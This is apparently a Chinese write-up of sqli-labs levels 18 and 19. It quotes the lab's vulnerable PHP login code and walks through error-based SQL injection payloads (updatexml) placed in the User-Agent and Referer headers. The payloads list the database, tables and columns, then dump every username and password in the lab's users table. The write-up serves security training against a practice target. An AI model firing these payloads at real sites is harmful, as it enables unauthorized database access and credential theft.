sqli-labs 18

知识点

头部注入

报错注入

使用的函数:

  1. updatexml (XML_document, XPath_string, new_value);
  2. 第一个参数:XML_documentString格式,为XML文档对象的名称
  3. 第二个参数:XPath_string (Xpath格式的字符串)
  4. 第三个参数:new_valueString格式,替换查找到的符合条件的数据
  5. 作用:改变文档中符合条件的节点的值
  6. 报错注入原理:当XPath_string()不满足格式的时候,会报错并把查询信息放到报错信息里
  7. 通常用 ~ ’制造语法错误,编码后为0x7e

报错注入的语句:

updatexml(1,concat(0x7e,(常用sql注入语句),0x7e),1))

源代码

  1. //这里是过滤
  2. function check_input($value)
  3. {
  4. if(!empty($value))
  5. {
  6. $value = substr($value,0,20); // truncation (see comments)
  7. }
  8. if (get_magic_quotes_gpc()) //返回当前 magic_quotes_gpc 配置选项的设置 Stripslashes if magic quotes enabled
  9. {
  10. $value = stripslashes($value);//stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
  11. }
  12. if (!ctype_digit($value)) //用处:检查提供的 string 和 text 里面的字符是不是都是数字。语法:ctype_digit ( string $text ) : bool;
  13. {
  14. $value = "'" . mysql_real_escape_string($value) . "'";
  15. //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。下列字符受影响:\x00,\n,\r,\,',",\x1a
  16. //如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
  17. }
  18. else
  19. {
  20. $value = intval($value);//intval() 函数通过使用指定的进制 base 转换(默认是十进制)
  21. }
  22. return $value;
  23. }
  24. //注意这里有对头部的处理
  25. $uagent = $_SERVER['HTTP_USER_AGENT'];
  26. $IP = $_SERVER['REMOTE_ADDR'];
  27. echo "<br>";
  28. echo 'Your IP ADDRESS is: ' .$IP;
  29. echo "<br>";
  30. //echo 'Your User Agent is: ' .$uagent;
  31. // take the variables
  32. if(isset($_POST['uname']) && isset($_POST['passwd']))
  33. //只检查了输入的用户名和密码,没有检查头部
  34. {
  35. $uname = check_input($_POST['uname']);
  36. $passwd = check_input($_POST['passwd']);
  37. /*
  38. echo 'Your Your User name:'. $uname;
  39. echo "<br>";
  40. echo 'Your Password:'. $passwd;
  41. echo "<br>";
  42. echo 'Your User Agent String:'. $uagent;
  43. echo "<br>";
  44. echo 'Your User Agent String:'. $IP;
  45. */
  46. //logging the connection parameters to a file for analysis.
  47. $fp=fopen('result.txt','a');
  48. fwrite($fp,'User Agent:'.$uname."\n");
  49. fclose($fp);
  50. $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
  51. $result1 = mysql_query($sql);
  52. $row1 = mysql_fetch_array($result1);
  53. if($row1)
  54. {
  55. echo '<font color= "#FFFF00" font size = 3 >';
  56. $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  57. //注意这里把ip,uagent代入数据库查询了
  58. mysql_query($insert);
  59. //echo 'Your IP ADDRESS is: ' .$IP;
  60. echo "</font>";
  61. //echo "<br>";
  62. echo '<font color= "#0000ff" font size = 3 >';
  63. echo 'Your User Agent is: ' .$uagent;
  64. echo "</font>";
  65. echo "<br>";
  66. print_r(mysql_error()); //注意这里输出了错误
  67. echo "<br><br>";
  68. echo '<img src="../images/flag.jpg" />';
  69. echo "<br>";
  70. }
  71. else
  72. {
  73. echo '<font color= "#0000ff" font size="3">';
  74. //echo "Try again looser";
  75. print_r(mysql_error());
  76. echo "</br>";
  77. echo "</br>";
  78. echo '<img src="../images/slap.jpg" />';
  79. echo "</font>";
  80. }
  81. }

判断

无过滤+代入数据库查询+输出错误=存在sql注入

查询结果显示uagent,ip

可以用报错注入,注入点可以用uagent

尝试了用ip做注入点但是没有结果

构造payload

首先要把原来的语句闭合,根据代码

  1. $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

我们要构造一个类似的语句,把原来的ip,uname代替掉,用#注释掉多余的部分

1','1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#

库:security

1','1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#



表:emails,referers,uagents,users

1','1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#



users中的字段:id,username,password,ip,time,US

1','1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#



值:~1:Dumb:Dumb,2:Angelina:I-kill-y

没有完全显示出来,加上substr,一点点读取

1','1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#



ina:I-kill-you,3:Dummy:p@ssword



~d,4:secure:crappy,5:stupid:stup



stupid:stupidity,6:superman:gen



uperman:genious,7:batman:mob!le



tman:mob!le,8:admin:admin~

看到~,说明都读完了

~1:Dumb:Dumb,2:Angelina:I-kill-you,3:Dummy:p@ssword,4:secure:crappy,5:stupid:stupidity,6:superman:genious,7:batman:mob!le,8:admin:admin~

sqli-labs 19

和18题基本一样,除了注入点换到了referer,然后payload要减少一个参数,其他都一样

关键源码

  1. $uagent = $_SERVER['HTTP_REFERER'];

uagent里面的值是referer

  1. $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

插入语句里一共有两个参数

payload:

1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#

1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#

1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#

1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#

sqli-labs 18-19 --Header_injection的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. 毕向东_Java基础视频教程第19天_IO流(18~19)

    第19天-18-IO流(流操作规律 - 1) 通过三个步骤来明确"流操作"的规律: 明确数据流的"源和目的" 源, 输入流: InputStream/Reade ...

  6. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  7. 《C程序设计语言》练习 1-8,1-9

    #include <stdio.h> /*编写一个统计空格,制表符与换行符个数的程序*/ main() { int a,b,c,d;//a表示空格个数,b表示制表符个数,c表示换行符个数 ...

  8. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  9. 小明很喜欢数学,有一天他在做数学作业时,要求计算出9~16的和,他马上就写出了正确答案是100。但是他并不满足于此,他在想究竟有多少种连续的正数序列的和为100(至少包括两个数)。没多久,他就得到另一组连续正数和为100的序列:18,19,20,21,22。现在把问题交给你,你能不能也很快的找出所有和为S的连续正数序列? Good Luck!

    // test20.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include<iostream> #include< ...

  10. Ubuntu vim+ ctags(包含系统函数) + taglist 配置 分类: vim ubuntu 2015-06-09 18:19 195人阅读 评论(0) 收藏

    阅读大型代码,我们经常需要打开很多的代码文件,搜索各种定义.windows下用惯了ide的朋友,转战Linux的时候可能会觉得很难受,找不到合适的阅读工具.其实万能的vim就可以实现.下面介绍一下vi ...

随机推荐

  1. ABBYY FineReader 与资源管理器的集成使用

    ABBYY FineReader 15(Windows系统)与 Windows 资源管理器的集成使用后,在不打开软件的情况下,可通过右击启动快捷菜单开启. 通过与Windows资源管理器的集成,用户可 ...

  2. guitar pro系列教程(十二):如何设置Guitar Pro的不完全小节

    当我们新建一个GTP谱的时候,我们肯定是要用到节拍,是的,一个乐谱节拍设置的好不好,将直接影响你的乐谱效果好不好,设置节拍的步骤我们之前也有讨论过,今天主要跟大家讲的便是不完全小节. 不完全小节顾名思 ...

  3. guitar pro 系列教程(十一):Guitar Pro菜单工具之MIDI效果的提升

    对于新手的一些朋友,看谱,编曲时使用Guitar Pro时,因为对其功能不是很了解而显得困难重重,导致出现的音频效果不是很理想,因此,小编今天要做的便是,单独把Guitar Pro里的MIDI效果如果 ...

  4. 将input 的文本框改为不可编辑状态

    <input type="text" id = "textid" name="名称" value="值" size ...

  5. C#6,C#7,V#8,C#9 的新特性总结

    看了一下,下图的所有我都有用过,感觉越高的版本越好用. C# 6.0 特性 C# 7.0  Vs2017 C# 8.0     .net core 3.0+ C#9.0 .net5 C#的各种语法糖, ...

  6. Linux服务器学习----haproxy+keepalived

    实验需要4台虚拟机,两台做服务器,两台做代理服务器 www1:ip:10.30.40.11       hk1: 代理:10.30.40.13(hk1.netdj.net) www2:ip  10.3 ...

  7. LeetCode 036 Valid Sudoku

    题目要求:Valid Sudoku Determine if a Sudoku is valid, according to: Sudoku Puzzles - The Rules. The Sudo ...

  8. virtualProtect函数

    原文链接:https://blog.csdn.net/zacklin/article/details/7478118 结合逆向课件11

  9. kali查看本机ip

  10. Spark SQL解析查询parquet格式Hive表获取分区字段和查询条件

    首先说一下,这里解决的问题应用场景: sparksql处理Hive表数据时,判断加载的是否是分区表,以及分区表的字段有哪些?再进一步限制查询分区表必须指定分区? 这里涉及到两种情况:select SQ ...